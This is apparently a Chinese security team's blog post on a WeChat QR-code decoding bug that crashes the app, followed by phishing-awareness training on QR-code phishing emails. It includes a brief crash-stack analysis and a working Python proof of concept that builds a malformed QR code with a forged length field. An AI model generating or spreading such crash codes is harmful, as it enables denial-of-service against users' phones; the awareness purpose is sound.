微信扫码崩溃?比bug更令人崩溃的是好奇心

昨天至今,大家都在转发微信编解码Bug导致扫码崩溃,为了对热度表示一定的尊重,我们也重复宣传下。请一定接着看下去哟

长按直接导致微信闪退,各位一定不要扫(可能这句话要往前放)。这里参考MustangYM (重生信息安全)的文章:https://mp.weixin.qq.com/s/MlZsXz-1twSENm-hKfwyeQ

别问本文为啥偏要引用大佬文章

Crash地址

如下图所示在0x1f1570c0c地址处出现了内存访问错误,通常意味着程序试图访问一个不存在的内存地址,或者尝试访问已经被释放的内存,或者访问已经越界的内存

Crash栈

如下图所示,第0栈帧与第1栈帧分别落在了libsystemplatformdylib与libc++1dylib系统库中,而第2帧到第14帧落在 WeChat主可执行文件中,由于符号被裁减的原因,暂时看不出具体函数符号

获取WeChat可执行文件模块基址

寻找具体函数

0x10E2A7500地址处从x8寄存器指向的内存地址中读取一个指针,并将其存储到x8寄存器中。然后通过x8寄存器间接跳转到某个函数的执行地址,EXCBADACCESS错误的原因可能是因为x8寄存器中存储的指针无效,即该指针所指向的内存地址未被初始化或已被释放

x8寄存器

loc10e2a74d0->loc10e2a74f0存在跳转关系

而loc10e2a74d0中存在对x8寄存器的操作x8寄存器被设置为0x111875000这个地址,即与上文中的000000010e2a7500地址指向同一块内存,而000000010e2a74d8处该地址偏移0xd30处的内容被加载到了x1寄存器中。这里的内容应该是一个字符串"UTF-8”的地址

结论

综上,此次导致微信Crash的元凶可能是特殊文本/字符的编码导致,类似前些年出现的"炸群"字符类似。

那么,如何加以利用呢?这里引用https://gist.github.com/GZTimeWalker/3ca70a8af2f5830711e9cccc73fb5270的代码

import qrcode
from qrcode.util import QRData, MODE_NUMBER, MODE_8BIT_BYTE

def nvwu_put(self, num, length):
    if num == 0:
        num = 233  # 制造一个伪造的长度
    for i in range(length):
        self.put_bit(((num >> (length - i - 1)) & 1) == 1)

qrcode.util.BitBuffer.put = nvwu_put

def dfyx():
    qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)

    num_data = QRData('1145141', MODE_NUMBER)
    data = QRData(b'.', MODE_8BIT_BYTE)
    hack_data = QRData(b'', MODE_8BIT_BYTE)

    # 确保所有数据都适应这个版本的最大内容长度
    qr.add_data(num_data)
    qr.add_data(data)
    qr.add_data(num_data)
    qr.add_data(data)
    qr.add_data(num_data)
    qr.add_data(data)
    qr.add_data(num_data)

    # 添加一个零长度的数据,使得数据的长度为233
    qr.add_data(hack_data)

    img = qr.make_image()
    img.save("./poc1.png")

if __name__ == "__main__":
    dfyx()

But,漏洞修不修是腾讯的事,扫不扫就是你的事了。

因此,本文给出观点:微信扫码手机崩溃?比Bug更令人崩溃的是好奇心!

本文的归类也自然属于安全意识、防钓鱼攻击模块等。

在往常介绍钓鱼攻击时,任何企业,无论规模大小,是否部署先进的安全工具,都难以抵御网络钓鱼攻击。防御者可以用更先进的工具和技术来检测和阻止网络钓鱼电子邮件、链接和消息,但网络钓鱼攻击技术和策略也在不断进步和演变。

在过去,我们一直在安全意识培训中宣传钓鱼邮件、短信中,附件和链接是两种主要的钓鱼方式,前者聚焦于命令与控制,后者以水坑攻击/虚假站点等骗取信息。但近两年,二维码成为一种新的钓鱼承载形式,虽然本质也是文本或者链接的一种表达形式而已。

怎么样,扫码过后,看到我们满满的欢迎热情了吧。

但让您此刻感受到这热情,反而让我们此刻不安。我们下意识地或者被好奇心驱使着去扫码一探究竟,如果这是个钓鱼链接呢?如果这是个恶意附件的下载地址呢?如果利用了蜜罐原理将js能读到的信息都读了一遍呢?

好多人吐槽微信此次漏洞致使软件崩溃,我们相信那张二维码图片被传播的原因最初只是好奇和恶搞,如果被黑产组织利用,足以开展一次足够规模的“拒绝服务”攻击,只是压力聚焦于端侧。

接下来,漏洞修复交给腾讯微信团队,也不费力气去重复造轮子分析了。我们来一次二维码钓鱼邮件培训。

在频发的网络安全攻击事件中,网络钓鱼攻击往往是黑客的首选,黑客会采用社会工程学手段对目标发起攻击,据统计,约92%的数据泄露事件与社会工程学事件和鱼叉式网络钓鱼攻击有关,而网络钓鱼攻击主要形式就是钓鱼邮件。

钓鱼邮件是指利用伪装的电子邮件,欺骗收件人将账号、口令等信息回复给指定的接收者;或引导收件人连接到特制的网页,这些网页通常会伪装成和真实网站一样,如银行或理财的网页,令登录者信以为真,输入信用卡或银行卡号码、账户名称及密码等进而被盗取。

常见的钓鱼邮件:

1.邮件内容中带有外部链接

2.邮件内容中带有二维码

3.邮件附件中包含病毒或木马程序

二维码风靡各行各业,在餐厅、地铁、商场,甚至菜市场、公交车、街边店。频繁扫码自然提高了生活中方方面面的效率和质量,却也让大家对扫码这行为逐渐麻木、放松、下意识,由此带来的各种风险不容小觑!

二维码目前在钓鱼界相当火爆,给出以下例子:

(1)伪装成国家公职部门,邮件内容为财务部、社保局、公安部等发布的重要声明。收件人信以为真,扫描二维码进入仿真页面填写信息进而被盗。

(2)谍中碟式的二维码邮件:

钓鱼邮件可通过如下方向进行防范:

1、核实发信人名称与发信人邮箱;

2、核对邮件链接和页面反馈信息,是否存在字母换写的情况;

3、检查是否诱导点击附件,附件是否上传微步等平台后报毒;

4、检查邮件内容的意图和倾向。

本文就到这里,欢迎大家关注东方隐侠安全团队,我们将献上更多有思考的知识和文章。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

东方隐侠-千里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值